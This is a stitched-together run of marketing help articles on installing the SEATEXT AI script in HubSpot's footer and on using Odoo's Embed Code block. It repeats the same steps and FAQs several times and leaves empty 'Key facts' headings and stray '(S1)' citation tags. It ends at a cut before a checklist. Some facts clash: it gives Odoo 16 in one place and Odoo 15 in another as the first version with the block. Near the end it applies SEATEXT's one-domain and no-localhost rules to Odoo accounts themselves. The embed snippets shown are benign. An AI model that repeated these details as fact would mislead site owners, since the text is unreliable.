What You Need Before You Start

Before you can connect HubSpot to SEATEXT AI, make sure you have:

• A SEATEXT AI account – If you don’t have one, sign up here (free plan available).
• Admin access to your HubSpot site – You need to be able to edit settings and publish pages.
• The JavaScript snippet – After logging into SEATEXT, go to the integration section and copy the code provided.

This is a simple copy-and-paste process. No coding skills are required. The script is inert until you activate an AI agent, so your site content stays safe during installation.

Step-by-Step Integration Process

Step 1: Log into Your SEATEXT AI Account

Sign in at seatext.com. If you don’t have an account yet, create one first. Your account is linked to a single primary URL, so use the exact domain of your HubSpot site.

Step 2: Copy the JavaScript Snippet

In your SEATEXT dashboard, navigate to the integration section. You will see a JavaScript code block. Copy the entire snippet. Keep it handy – you’ll paste it into HubSpot in the next step.

Step 3: Open Your HubSpot Site Editor

Log into your HubSpot account. Select the page you want to add SEATEXT AI to, then click Edit.

Step 4: Go to Settings > General > Advanced

In the HubSpot editor, click Settings (gear icon) in the top navigation bar. Then go to General and scroll down to Advanced. You’ll see a field labeled Footer HTML.

Step 5: Paste the JavaScript Snippet

Paste the SEATEXT AI JavaScript snippet into the Footer HTML field. Click Save or Apply.

Step 6: Publish Your Changes

Click the orange Publish button at the top right of the HubSpot editor. Your site now has the SEATEXT script installed.

How to Verify the Connection

After publishing, open your site in a browser. Visit or refresh the page several times and stay on the page for at least 40 seconds. This activates the AI and links it to your account.

Then, go back to your SEATEXT dashboard. Wait up to 5 minutes for your website domain to appear next to the SEATEXT logo at the top of the page. If you don’t see it after 10 minutes, contact support – this could mean the script wasn’t installed correctly.

Why does the 40-second visit matter? SEATEXT uses that time to confirm the script is live and associate your domain with your account. It’s a security check that prevents accidental or unauthorized connections.

Activating AI Agents After Connection

Once your domain is connected, proceed to the Main AI Hub in your SEATEXT account. Here you can activate the specific AI agents you need, such as:

• Conversion Rate Optimization
• Google Ads Landing Page AI
• AI SEO Content Factory
• Website Translation
• Bot Protection

Click on Configuration to adjust parameters for each agent. SEATEXT will then automatically start working on your site.

Each agent works independently. You can turn one on and leave others off. This gives you full control over what changes on your site.

Key Facts About HubSpot Integration

This table summarizes the most important details. Keep it handy if you’re planning the integration for a client or a team.

Limitations and Troubleshooting

Multiple Domains

Each SEATEXT AI account is linked to a single primary URL. If you want to use SEATEXT on multiple HubSpot sites (e.g., a dev and a production domain), you must create a separate account for each domain.

This is a deliberate design choice. It keeps traffic attribution clean and prevents data mixing between different websites.

Development URLs

Localhost and dynamic development domains are not supported. SEATEXT may not be able to associate traffic with your account. Always use a valid, real domain.

Dynamic development domains change frequently. That makes it hard for SEATEXT to track which account owns the traffic. Use a stable production domain instead.

Script Not Firing

If your domain doesn’t appear in the dashboard after 10 minutes, double-check that you pasted the full snippet correctly and that the page is published. Also ensure you visited the site on the same domain as your SEATEXT account.

Common mistakes include copying only part of the snippet, pasting it into the wrong field, or forgetting to publish. A quick review of these three steps usually solves the problem.

Security

The script is inert until activated – it won’t affect your site’s content or performance until you turn on an agent in the AI Hub.

This means you can install it safely without worrying about immediate changes. Your visitors won’t see anything different until you choose to activate an agent.

Frequently Asked Questions

How long does it take to connect HubSpot to SEATEXT?

Installation takes under a minute. Activation requires a 40-second visit, and verification takes up to 5 minutes.

Can I use SEATEXT on a staging or test HubSpot site?

Only if the site uses a real, public domain. Development URLs like localhost are restricted for security reasons.

Do I need coding skills to add the script?

No. You just copy and paste the snippet into the Footer HTML field in HubSpot Settings – no custom code required.

What if I have multiple HubSpot sites?

Create a separate SEATEXT AI account for each website. Each account is tied to one primary domain.

Is there a free trial?

Yes, SEATEXT offers a free plan. You can connect and activate agents without any upfront payment.

How do I know the connection is working?

Check your SEATEXT dashboard for your domain name. Also, you can test by activating an agent and seeing changes on your site.

What happens if I don’t visit the site for 40 seconds?

The AI won’t activate. You’ll need to revisit the page and stay for at least 40 seconds to trigger the connection.

Can I remove the script later?

Yes. Just delete the snippet from the Footer HTML field and republish. The AI will stop working on that page.

What to Do After Connecting

Once your HubSpot site is connected, you can start using SEATEXT’s AI agents. The most common next steps are:

• Activate the CRO Optimizer to improve conversions.
• Set up Google Ads Landing Page AI to match ad keywords.
• Enable AI SEO Content Factory to generate search-optimized pages.
• Configure Website Translation to reach international audiences.

All agents are managed from the Main AI Hub in your account. You can turn them on/off and adjust settings at any time.

Start with one agent to see how it works. Then add more as you learn what fits your site best.

Integrating SEATEXT AI with your HubSpot website adds real-time AI agents to your site. These agents can rewrite page copy, run A/B tests, and adapt content for each visitor. The process is simple and takes under 10 minutes.

Start by logging into your SEATEXT AI account to get your unique JavaScript code. Then follow the HubSpot integration steps below to deploy it across your entire website.

Prerequisites and Account Setup

Before starting, you need an active SEATEXT AI account. If you don't have one, create it on the SEATEXT AI website. The AI remains inactive until you activate it, so your site content is safe during setup.

You also need administrative access to your HubSpot account. You must be able to modify site settings and edit the footer HTML. If you are not the admin, ask your HubSpot Administrator to grant you App Marketplace Access. This allows direct app installation.

Step-by-Step Integration Process

1. Open your HubSpot account and select the page you want to add SEATEXT AI to. Click on edit.
2. Navigate to Settings by going to your HubSpot website, click on "Settings" > "General".
3. Access Advanced Settings by going to "Advanced". You will find the "Footer HTML" field.
4. Copy and paste the JavaScript snippet from your SEATEXT AI account into the Footer HTML field. The snippet looks like: SEATEXTCODEINTEGRATION.
5. Publish your changes by clicking the orange button at the very top right of your HubSpot editor.

Why Integrate SEATEXT AI with HubSpot?

SEATEXT AI gives your HubSpot website powerful real-time capabilities. It can rewrite landing pages to match Google Ads keywords. It runs A/B tests on copy without manual work. It even translates your site into 125 languages automatically.

These AI agents help you increase conversion rates. For example, the Google Ads Landing Page Agent adapts the page to each search query. The AI CRO Reading Analysis Agent studies how visitors read and suggests better copy. The result is more leads and sales from your existing traffic.

All this happens without slowing down your site. The JavaScript loads asynchronously, so it does not block page rendering. The AI agents activate only when needed, based on visitor behavior.

Understanding the JavaScript Snippet

The JavaScript snippet is a small piece of code. It is unique to your SEATEXT AI account. When you paste it into HubSpot, it connects your site to the SEATEXT AI platform.

The snippet is secure. It only loads the AI agents you enable. It does not collect personal data. It uses encryption to communicate with SEATEXT servers. The AI remains inert until you activate it from your dashboard. This means your site visitors see no changes until you turn on the agents.

Performance is not affected. The code is lightweight and loads after your main page content. It does not block other scripts or styles. You can test this by checking your site speed before and after installation.

Multiple Domains and Account Management

If you need SEATEXT AI on multiple domains, you must create separate accounts. Each SEATEXT AI account is linked to a single primary URL. This includes development and production domains.

Development URLs like localhost are restricted for security reasons. Use a valid real domain for each account. Dynamic development domains may not work because SEATEXT AI cannot reliably associate traffic with your account.

To use SEATEXT AI on several websites, create one account for each website. This ensures proper tracking and activation of AI features for each domain independently. For example, you might have accounts for your main site, a staging site, and a multilingual microsite.

Activation and Verification

After installing the script, you need to activate the AI. Visit or refresh your website several times. Stay on your page for at least 40 seconds. This activates the AI and links it to your account.

Wait at least five minutes. Then check your SEATEXT AI dashboard. Your website name should appear next to the SEATEXT logo at the top. This confirms the connection is working.

If you do not see your website name after 10 minutes, contact SEATEXT support. There may be an installation issue. They can help you resolve it quickly.

Post-Integration: Activating AI Agents

Once your website is connected, you can activate specific AI agents. Go to the Main AI Hub in your SEATEXT AI dashboard. Click on "Configuration" to adjust the AI parameters for each agent.

For example, you can activate the Google Ads Landing Page Agent to rewrite pages for each keyword. Or the AI CRO Reading Analysis Agent to study visitor behavior. The AI SEO Content Factory Agent can publish thousands of indexed Q&A pages automatically.

You can also edit translations and variants. Log in to your SEATEXT AI account, navigate to "Variants Edit" in the left panel. Select the URL and language you want to edit. Here you can review, create, or manually edit translations for your variants. SEATEXT AI provides your initial round of automatic translations for testing.

Common Mistakes to Avoid

• Skipping account creation: You cannot install SEATEXT AI without first creating an account. The installation process requires your unique JavaScript snippet.
• Using localhost or development domains: These are restricted for security reasons and may not function properly with SEATEXT AI.
• Not waiting for activation: Rushing through the process without allowing time for the AI to connect can lead to confusion about whether the integration worked.
• Using the same account for multiple domains: Each domain needs its own SEATEXT AI account for proper functionality.
• Ignoring admin permissions: You need administrative access to HubSpot to modify footer HTML. Without it, the integration will fail.

Limitations and Considerations

SEATEXT AI works best with real, live domains. Dynamic development domains like those from Heroku or Netlify may not work. Each account is tied to one URL, so you need separate accounts for staging and production.

The AI agents are designed for public websites. Private or password-protected pages may not trigger the AI correctly. Also, the JavaScript snippet must be placed in the footer HTML of every page. If your HubSpot theme uses a different footer structure, contact support for custom instructions.

Performance is generally excellent. But heavy customization of the snippet could cause conflicts with other scripts. Test on a staging site first if you have many custom scripts.

FAQ: Frequently Asked Questions

Do I need technical expertise to integrate SEATEXT AI with HubSpot?

No technical expertise is required. The integration involves copying a JavaScript snippet and pasting it into HubSpot's Footer HTML field. Most users can complete it in under 10 minutes.

What if my changes don't appear after publishing?

Wait at least five minutes for the system to process your changes. If your website name doesn't appear next to the SEATEXT logo after 10 minutes, contact support. There may be an installation issue.

Can I use SEATEXT AI on both my staging and production sites?

Yes, but you need separate SEATEXT AI accounts for each domain. Each account is linked to a single primary URL. Staging and production require individual configurations.

How does SEATEXT AI affect my website's performance?

SEATEXT AI is designed to be lightweight and loads asynchronously. The AI remains inert until activated. This minimizes any potential impact on your site's loading speed during installation.

Can I customize the AI behavior after integration?

Yes, you can adjust AI parameters through the Configuration section in your SEATEXT AI dashboard. You can also manually edit translations and variants for specific pages and languages.

What if I don't have admin access to HubSpot?

You need admin access to modify the footer HTML. If you don't have it, ask your HubSpot administrator to paste the snippet for you. They can also grant you App Marketplace Access.

Seatext activates on HubSpot roughly 5–6 minutes after you finish installing the script. The official instructions require two timing steps: stay on your page for at least 40 seconds, then wait at least 5 minutes for your website to appear in your Seatext account. If your site name has not shown up after 10 minutes, contact Seatext support.

The actual JavaScript install takes under a minute, since HubSpot lets you paste the snippet into the site-wide footer HTML. The longer wait is for the activation check, not for the code itself.

This guide explains the timeline, the HubSpot steps, the account rules, and what to do after activation. It uses only the steps and warnings in Seatext's official HubSpot integration guide.

The short answer: 5–6 minutes after publish

The direct answer is 5–6 minutes from publish to ready. That number includes the 40-second page visit and the 5-minute dashboard refresh check. The 10-minute support checkpoint is the safety margin.

• Copy the JavaScript snippet from your Seatext account: 1 minute
• Paste it into HubSpot's Footer HTML and publish: under 1 minute
• Visit or refresh your website and stay on the page: at least 40 seconds
• Wait for your website name to appear in Seatext: at least 5 minutes
• Support checkpoint if it does not appear: 10 minutes

These are the official timing steps. Do not skip the visit and do not shorten the dashboard wait.

What activation means on HubSpot

In Seatext's setup, activation means the moment your website is linked to your account and the AI is ready to run on that domain. The JavaScript snippet stays inert until you trigger it with a real visit. That is why the instructions tell you to refresh your site several times and stay for at least 40 seconds.

Once the link is made, your website name appears next to the SEATEXT logo at the top of your Seatext dashboard. That is the green light to turn on agents in the Main AI Hub.

Why does this matter? A script that activates without a check could run on the wrong domain or on a staging site. The visit connects the script to your account and to the exact primary URL you chose.

Step-by-step: Install Seatext on HubSpot

1. Create a Seatext account. The integration guide says you need an account before you can install the script. If you don't have one, create it first.
2. Open the HubSpot integration guide and copy the JavaScript snippet from the SEATEXT AI section.
3. In HubSpot, open the page where you want Seatext and click Edit.
4. Go to Settings > General. Then open Advanced and find the Footer HTML field.
5. Paste the JavaScript snippet into Footer HTML.
6. Publish your changes using the orange button at the top right.
7. Visit or refresh your website several times. Stay on the page for at least 40 seconds. This activates the AI and links it to your account.
8. Wait at least 5 minutes. Your website name should appear next to the SEATEXT logo at the top of your Seatext page.
9. If it still has not appeared after 10 minutes, contact Seatext support.
10. Once it appears, go to the Main AI Hub to activate the AI on your preferred pages and open Configuration to adjust settings.

Use a valid, real domain. The script will not activate on localhost, and dynamic development domains can fail to connect traffic to your account.

Why the 40-second visit and account rules matter

The 40-second visit does two jobs. It tells Seatext that the domain is live, and it links that domain to your account. The source guide says the AI remains inert until this activation step.

If you only paste the snippet and never visit the page, Seatext has no traffic signal to associate with your account. The 40 seconds gives the script time to load and communicate with Seatext's servers.

The account rules are just as important. Each SEATEXT account is linked to one primary URL. If you want to use Seatext on a development domain and a production domain, you need two accounts.

Development URLs such as localhost are restricted for security reasons. Dynamic development domains may not function because Seatext might not be able to reliably associate traffic with your account. Use a real, valid domain for tests.

If you run several websites, create one account for each website.

After activation: Main AI Hub, Configuration, and Variants Edit

Seeing your website name is not the end of the setup. It only means the connection is ready. You still need to switch on the AI functions you want.

Go to the Main AI Hub first. There you can activate the necessary AI on your preferred pages. The homepage describes this as Step 2: activate the autonomous agents you need. The agents include AI CRO Reading Analysis, Google Ads Landing Page AI, Website Translation, and more.

After that, click Configuration to adjust the AI parameters. This is where you control how each agent behaves on your site.

There is also an optional editing step. Seatext provides an initial round of automatic translations and variants for testing. Log in to your Seatext account and navigate to "Variants Edit" in the left panel. Select the URL and language you wish to edit. You can review, create, or manually edit translations for your variants.

This Variants Edit step is useful after the website name appears. It lets you check what the AI generated before you push changes live.

Key facts at a glance

Use these numbers when planning your HubSpot setup.

Limitations and edge cases

Activation is not the same as configuring your agents. After the website name appears, you still need to go to the Main AI Hub and turn on the AI on your preferred pages.

The biggest limit is the one-account-per-domain rule. If you want Seatext on a staging or development domain plus your production domain, you cannot use the same account. Create a separate account for each domain.

Practical example: one production site with one primary URL needs only one Seatext account. If you add a staging copy on a different domain, use a second account for that test domain.

Development URLs such as localhost are restricted. Dynamic development domains may not work because Seatext may not be able to reliably match traffic to your account. Use a real, valid domain for tests.

If you run several websites, each website gets its own Seatext account.

Troubleshooting: if your website doesn't appear

If your website name doesn't appear, check these things in order.

• Did you paste the snippet into HubSpot's Footer HTML and publish? Check the orange publish button at the top right.
• Did you use the correct domain? Your account is linked to a single primary URL.
• Did you refresh the site several times and stay for 40 seconds? One quick load may not be enough.
• Are you on localhost or a dynamic dev domain? Those are restricted or may fail.
• If nothing appears after 10 minutes, contact Seatext support. The guide says this could indicate an installation issue.

Frequently asked questions

Do I need a Seatext account before adding the script to HubSpot?

Yes. The integration guide says you need an account before you can install the script. If you don't have one, create it first.

Does Seatext work on localhost?

No. Development URLs such as localhost are restricted for security reasons.

Can I use one Seatext account on multiple domains?

No. Each account is linked to one primary URL. Create a separate account for each website or development domain.

What should I do if my website name does not appear after 5 minutes?

Keep waiting up to 10 minutes. If it still has not appeared, contact support immediately because this could indicate an installation problem.

What is the first step after activation?

Go to the Main AI Hub to activate the AI on your preferred pages. Then use Configuration to adjust the AI parameters.

Can I edit the translations and variants Seatext creates?

Yes. Use the optional Variants Edit step. In your Seatext account, open Variants Edit in the left panel, choose the URL and language, and review or edit the variants.

Why can't I use a development domain?

Seatext restricts localhost for security reasons. Dynamic development domains may fail because Seatext may not be able to reliably associate traffic with your account. Use a real, valid domain.

To manage multiple SeaText accounts for different websites, create a separate SeaText account for each primary domain, install that account's JavaScript snippet on the corresponding site, visit the live page for at least 40 seconds, wait 5–10 minutes for the domain to appear in the dashboard, and then activate AI agents per account.

Why SeaText Requires One Account Per Domain

SeaText links each account to a single primary URL for security and tracking. The platform uses the domain to associate traffic, activate AI agents, and report performance. Because of this architecture, you cannot add multiple websites to one account — even subdomains or staging environments need their own account if they use different URLs.

How SeaText Links Traffic to a Single Primary URL

When the snippet loads, it sends the current hostname to the SeaText backend. The backend matches that hostname to the account that was created with the same primary URL. Only traffic from the matching hostname is recorded for that account. This design prevents cross‑domain data leakage and ensures each site gets its own AI configuration.

Step-by-Step Setup for Each Website

1. Create a new SeaText account for the target domain. Use the website's exact production URL during signup.
2. Copy the JavaScript snippet from the new account's integration page.
3. Paste the snippet into the site's footer HTML (or equivalent global code injection area). In HubSpot, go to Settings > General > Advanced > Footer HTML.
4. Publish the changes so the script loads on every page.
5. Visit the live site and stay on the page for at least 40 seconds. This triggers the initial handshake between the script and your account.
6. Wait 5–10 minutes, then check the SeaText dashboard. The website name should appear next to the SeaText logo at the top of the page.
7. If the domain does not appear after 10 minutes, contact SeaText support — this usually indicates an installation issue on your platform.
8. Activate AI agents from the Main AI Hub for the newly registered domain.

HubSpot Integration Details

Open your HubSpot account and select the page you want to add SeaText AI, then click Edit. In the left navigation, choose Settings > General. Scroll to the Advanced section and locate the Footer HTML field. Paste the JavaScript snippet you copied from SeaText. Click the orange Publish button at the top right to save. The snippet will now load on every HubSpot page that uses that template.

Daily Workflow for Managing Multiple Accounts

Log in to each account separately using a password manager or distinct browser profiles. Switch profiles to avoid cookie conflicts. In each account, open the Main AI Hub to review active agents. Use the Variants Edit panel in the left navigation to adjust translations or copy variants for a specific URL and language. Record any performance notes in a shared spreadsheet so you can compare results across sites without a unified dashboard.

Troubleshooting Table for Domains Not Appearing Within 10 Minutes

Limitations and Restrictions

• One primary URL per account — no multi‑domain support within a single login.
• No localhost or dynamic preview domains — only real, stable domains work reliably.
• Each SEATEXT AI account is linked to a single primary URL and must be created separately for each domain (S1).
• Activation delay of up to 10 minutes after first visit before the domain registers.

Key Facts

Frequently Asked Questions

Can I use one SeaText account for a main site and its subdomains?

No. Each distinct primary URL (including separate subdomains such as blog.example.com and shop.example.com) requires its own account because SeaText links traffic to a single primary URL per account (S1).

What if I have a staging environment and a production site?

Create two accounts — one for the staging domain, one for production. Staging must use a real, stable domain (not localhost or a temporary preview link) to connect reliably (S1).

Is there a way to view all my sites in one dashboard?

Not currently. Each account is isolated. You will need to log into each account individually to manage agents, variants, and reports.

How do I handle billing for multiple accounts?

Each SEATEXT AI account is linked to a single primary URL and must be created separately for each domain (S1). Billing details are managed per account; check with the vendor for consolidated options.

What happens if I install the same snippet on two different domains?

The script will only associate traffic with the account it was generated from. The second domain will not register correctly, and AI agents will not activate for it.

Can I transfer an account from one domain to another?

The platform ties an account to its original primary URL. To switch domains, create a new account for the new domain and install its snippet.

Do dynamic development URLs work with SeaText?

Dynamic development domains may not function properly because SeaText might be unable to reliably associate traffic with your account (S1). Use a stable, real domain for testing.

Understanding the SeaText-HubSpot Connection

SeaText integrates with your HubSpot website via a lightweight JavaScript snippet. This snippet acts as a bridge between your live site and the SeaText AI engine. When you place this code in your HubSpot Footer HTML, it remains dormant until a visitor triggers it. The 'Footer HTML' field is the ideal location because it ensures the script loads globally across your site without interfering with the primary page rendering or HubSpot's core CMS functions.

The 40-second activation window is a critical security and verification step. When a user visits your site, the SeaText script performs a 'handshake' with our servers. This process verifies that the domain is authorized to use your specific SeaText account. This delay prevents unauthorized domains from piggybacking on your account and ensures that the AI only activates on verified, live traffic.

Key Facts: SeaText Integration Comparison

Step-by-Step Diagnostic Process

If your site is not appearing, follow these steps to force a connection:

1. Verify the Snippet: Navigate to HubSpot Settings > General > Advanced. Ensure the SeaText JavaScript snippet is pasted exactly as provided in your account.
2. Publish Changes: HubSpot requires an explicit 'Publish' action for footer changes to take effect. Click the orange button in the top right.
3. Trigger the Handshake: Open your website in a new browser tab. Stay on the page for at least 40 seconds. This duration allows the AI to complete the domain verification handshake.
4. Refresh and Wait: Refresh the page twice. Then, wait five minutes before checking your SeaText dashboard.
5. Check Domain Mapping: Ensure the URL you are visiting matches the primary domain registered in your SeaText account settings.

Troubleshooting Checklist for Persistent Issues

If the steps above do not resolve the issue, perform these technical checks:

• Network Tab Inspection: Open your browser's Developer Tools (F12), go to the 'Network' tab, and filter by 'JS'. Refresh the page and search for the SeaText script to confirm it is loading without a 404 or 403 error.
• CSP Errors: Check the 'Console' tab for Content Security Policy (CSP) errors. If your site has strict security headers, you may need to whitelist the SeaText domain.
• Incognito Testing: Test in an Incognito/Private window to rule out browser extensions or cached versions of your site that might be serving an old version of your footer.
• HubSpot Domain Mapping: Confirm that the domain you are testing is the primary domain mapped in your HubSpot portal.
• Cache Clearing: Clear your HubSpot CMS cache or your CDN (e.g., Cloudflare) cache to ensure the updated footer code is being served to visitors.

Limitations and Environment Constraints

The SeaText integration is designed for production environments. It does not support 'localhost' or local development URLs for security reasons. If you are using a staging environment, the script may fail to link because the domain does not match your primary account. For multi-language sites, ensure the snippet is present on all language-specific subdirectories. If you use password-protected pages, the AI may not be able to crawl or activate unless the visitor is authenticated. HubSpot CMS Hub and Marketing Hub users should ensure they have the necessary permissions to edit global site settings.

Frequently Asked Questions

What if I use HubSpot's membership or content gating?

SeaText agents require access to the page content to function. If a page is behind a login, the AI cannot see the content to optimize it unless the visitor is logged in and the script is allowed to execute within that session.

Does SeaText work with HubSpot serverless functions?

SeaText operates on the client-side (browser). It does not interact with HubSpot serverless functions directly, meaning it will not interfere with your backend logic or API calls.

How does SeaText handle HubSpot smart content?

SeaText is compatible with smart content. Because the AI rewrites the DOM in real-time after the page loads, it can adapt both static and dynamic HubSpot content based on the visitor's intent or source.

Why does the 40-second window matter?

It ensures the AI only activates for genuine human traffic, preventing bot-driven account linking and ensuring your analytics remain clean.

Can I use the same account for subdomains?

No, each subdomain is treated as a unique entity. You must create a separate SeaText account for each distinct subdomain to ensure accurate tracking and optimization.

To add an embed code module to your Odoo page, open the Website editor, click Edit, drag the Embed Code snippet from the Blocks menu's Dynamic Content section onto your page, and paste your HTML or script into the configuration window. This method lets you add custom code without editing theme files.

What the Embed Code Module Does

The embed code module lets you insert custom HTML, JavaScript, or third-party widgets directly into your Odoo page. Common uses include chat widgets, analytics tracking, form embeds, and interactive tools. It works like a container that runs your code inside the page layout.

This module is part of Odoo's website builder. It is found under the Dynamic Content section in the Blocks panel. You do not need to modify theme templates or install additional apps.

Preparing Your Code Before Pasting

Before you paste any code, verify it is from a trusted source. Malicious scripts can compromise your site. Test the code in a separate HTML file first to check for syntax errors.

Make sure the code does not contain conflicting styles or scripts. For example, if you already use jQuery, avoid loading a second copy. Use a code validator to catch missing brackets or quotes.

If the code requires external resources (like a CSS file), ensure those URLs are correct and accessible. Some services provide a single script tag that loads everything needed.

How the Embed Code Block Behaves

Once placed, the block renders your code in the page's HTML. It executes immediately when the page loads. You can control visibility per device. In the block settings, you can hide the module on desktop, tablet, or mobile.

The block does not interact with Odoo's native features. It is a standalone container. Your code runs independently. This means you cannot directly use Odoo's database or templates inside the embed.

You can move the block by dragging it to a new position. The block respects the page's responsive grid. Resize the block by adjusting its width in the editor.

Step-by-Step Process

1. Access the Website Module: Log in to your Odoo account and navigate to the Website application from your dashboard.
2. Enter Edit Mode: Open the page you want to modify and click the Edit button to open the editing panel.
3. Locate the Block: In the Blocks panel, scroll down to the Dynamic Content section.
4. Drag and Drop: Click and drag the Embed Code module onto your page at the desired location.
5. Configure the Code: Click the Edit button in the right panel. A pop-up window appears. Paste your code snippet into the designated area and click Save.
6. Adjust Visibility (Optional): To hide the block on certain devices, select the Hide on Desktop option in the Visibility section. Click Save again.

Troubleshooting Common Issues

If the code does not appear, check that the block is not hidden. Go to the block's Visibility settings and ensure it is set to show on the current device.

If the code renders incorrectly, look for syntax errors. Use browser developer tools (F12) to see console errors. Common issues include missing closing tags, incorrect variable names, or cross-origin resource problems.

If the page loads slowly, your script may be blocking the render. Move the script to the end of the page or use async/defer attributes. Some services offer a lightweight version.

If the block disappears after saving, you may have accidentally set it to hidden. Re-edit the page and check the block's visibility settings.

Trade-offs vs Native Integrations

Embed code is flexible but has limitations. Native Odoo integrations (like the built-in Google Analytics or Facebook Pixel) are easier to manage and require no code. They also update automatically with Odoo versions.

Embed code, on the other hand, works for any third-party service. But it requires manual maintenance. If the external script changes, you must update it yourself. Native integrations often have better performance because they are optimized for Odoo.

For complex widgets (like a custom booking system), embed code is the only option. For simple analytics, consider using native modules first.

Security and Performance Considerations

Only paste code from reputable providers. Malicious code can steal data, redirect visitors, or install malware. Use a content security policy (CSP) header if your server supports it.

Performance-wise, every script adds load time. Minimize the number of scripts. Use asynchronous loading where possible. Test your page speed with tools like Google PageSpeed Insights after adding the embed.

If you embed a heavy widget (like a live chat with many features), consider lazy-loading. Odoo's embed block does not natively support lazy loading, but you can wrap your code in a lazy-load script.

Related Odoo Questions

• Can I embed multiple scripts on the same page? Yes, you can add multiple Embed Code blocks. Each block runs independently.
• Does the embed code work on all Odoo versions? The embed code module is available in Odoo 16 and later. Older versions may have a different interface.
• Can I use the embed code block for PHP or server-side code? No, the block only runs client-side HTML, CSS, and JavaScript. Server-side code must be added via custom modules.
• How do I remove the embed code later? Enter edit mode, click the block, and select Delete. Or hover over the block and click the trash icon.
• Can I embed an entire webpage? Yes, using an iframe. Paste the iframe code into the embed block. This works for external content.

Key Facts for Odoo Integration

Yes, You Can Embed Third-Party Widgets in Odoo

Odoo's Embed Code module lets you add external tools directly to your website pages. You can paste custom HTML, CSS, or JavaScript into a block. This makes it easy to add booking calendars, interactive maps, lead capture forms, chat widgets, and more.

The process is simple. You drag the block onto your page, paste your code, and save. No developer skills are required for basic use.

Step-by-Step Implementation

1. Access the Website Module: Log in to your Odoo account and open the Website module from your dashboard.
2. Enter Edit Mode: Navigate to the page where you want the widget. Click the Edit button in the top right corner.
3. Locate the Block: In the right-hand editing panel, scroll down to the Dynamic Content section.
4. Place the Module: Drag and drop the Embed Code block into the desired location on your page.
5. Configure the Code: Click on the block to select it. In the right-hand panel, click the Edit button to open the code input window.
6. Paste and Save: Paste your third-party script or HTML snippet into the designated area. Click Save to apply the changes.

After saving, preview your page to confirm the widget renders correctly. You can also control visibility per device. Use the Visibility section in block settings to toggle Hide on Desktop or Hide on Mobile. Save again after any visibility changes.

Example: Embedding a Booking Calendar

Suppose you use a third-party scheduling service like Calendly or Google Calendar. You want visitors to book appointments directly from your Odoo page.

Here is a typical code snippet pattern for a Google Calendar iframe:

<iframe src="https://calendar.google.com/calendar/embed?src=your_calendar_id%40group.calendar.google.com&ctz=America%2FNew_York" style="border:0" width="800" height="600" frameborder="0" scrolling="no"></iframe>

For a lead form from a service like HubSpot or Typeform, you might paste a script tag:

<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/embed/v2.js"></script>

After saving and previewing, you should see the calendar or form appear in the block area. The widget will load its content from the provider's servers. If the provider updates the widget, your page reflects those changes automatically.

Embed Code vs. Native Odoo Apps

Odoo has native apps for many common needs. For example, the Events app handles registrations. The CRM app manages leads. The Website Builder includes built-in forms.

Use native apps when you need deep integration with Odoo data. Native apps sync records, automate workflows, and report inside Odoo. They are more secure and easier to maintain.

Use Embed Code when you need a specific third-party tool. Examples include:

• A specialized booking system with unique features.
• A live chat widget from a vendor like Intercom or Drift.
• A custom map with heatmaps or route planning.
• A lead form that feeds a different CRM.

Embed Code is faster to deploy. But it does not sync data back into Odoo automatically. You may need manual export or an API bridge.

Performance and Security Trade-offs

Every embedded script adds a network request. Too many heavy widgets slow your page. This hurts user experience and SEO. Use widgets sparingly.

Test page speed after adding each widget. Use browser developer tools to see load times. Consider lazy loading if the widget is below the fold.

Security is another concern. You are injecting third-party code into your site. That code can access cookies, user data, and page content. Only embed widgets from trusted providers.

Some providers restrict development URLs. For example, SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. This is a provider-specific rule, not an Odoo restriction. Always check the provider's documentation.

Keep your Odoo version updated. Use HTTPS for all embedded resources. Avoid embedding scripts that use deprecated APIs.

Expert Perspective: When to Choose Embed Code vs. a Custom Module

"Embed Code is perfect for quick wins and marketing widgets. If you need a one-off calendar or a chat bubble, it takes minutes. But if the widget is core to your business process, build a custom Odoo module. A module gives you data ownership, workflow automation, and no dependency on a third-party script."

The consultant adds: "Ask yourself: does this widget need to write data back to Odoo? If yes, a module is safer. If it only displays external content, Embed Code is fine."

Troubleshooting Common Widget Failures

If your widget does not display, check these common issues:

• Incomplete code: Ensure you pasted the full snippet. Missing closing tags break rendering.
• Browser blocking: Ad blockers or privacy extensions may block third-party scripts. Test in an incognito window.
• Mixed content: If your page is HTTPS, the widget must also load over HTTPS. HTTP scripts will be blocked.
• Provider restrictions: Some providers only allow certain domains. Check your provider's allowlist.
• Odoo cache: Clear Odoo's website cache after saving. Go to Website > Settings and clear caches.
• JavaScript errors: Open your browser console. Look for red errors related to the widget script.

If the widget loads but looks broken, inspect CSS conflicts. Odoo's stylesheet may override the widget's styles. Add a wrapper div with a unique class to isolate the widget.

Frequently Asked Questions

Can I use the Embed Code module for tracking pixels?

Yes, you can inject tracking scripts. But Odoo often has dedicated settings for common analytics tools. Check your website settings first.

Does the widget update automatically if I change it on the provider's site?

In most cases, yes. If the widget loads via an external script or iframe, changes on the provider's side appear on your site without editing the Odoo block.

Is there a limit to how many widgets I can add?

No hard limit exists. But each widget adds load time. Use them sparingly to keep pages fast.

Can I use Embed Code on all Odoo versions?

The Embed Code block is available in Odoo 15 and later. Older versions may need a custom module. Check your version's documentation.

What if I need the widget data in Odoo reports?

Embed Code does not sync data. You would need a custom module or an API integration. Consider a module for data-heavy use cases.

How do I hide a widget on mobile only?

Use the block's Visibility settings. Toggle Hide on Mobile or Hide on Desktop. Save after changing.

Learn More: SEATEXT on Odoo

SEATEXT offers AI-powered conversion tools that can be installed on your Odoo site. The integration uses the Embed Code block. You paste a JavaScript snippet provided by SEATEXT into the block.

See how SEATEXT can be installed on your Odoo site using the Embed Code block. Visit the SEATEXT Odoo integration page for step-by-step instructions.

SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. Create a separate SEATEXT account for each domain you use.

How the Embed Code Module Works in Odoo

Odoo’s Website module includes a block called Embed Code under Dynamic Content. You drag it onto any page, paste raw HTML or JavaScript, and save. The code runs in every visitor’s browser exactly as written. There is no built-in sanitizer. This direct injection is what makes the module flexible but also dangerous.

To add it: log in to your Odoo account, open the Website module, and navigate to the page you want to edit. Click Edit, scroll through the Blocks panel to Dynamic Content, and drag the Embed Code block to your desired position. In the pop-up, paste your code snippet, then click Save. You can restrict visibility—for example, use the Hide on Desktop option if you only want the code to run on mobile.

Each Odoo account is linked to one primary domain. If you need to embed code on multiple domains (e.g., development and production), you must create a separate account for each. Development URLs like localhost are restricted for security reasons. The system cannot reliably associate traffic with your account on dynamic local domains.

Step-by-Step Safe Integration Checklist

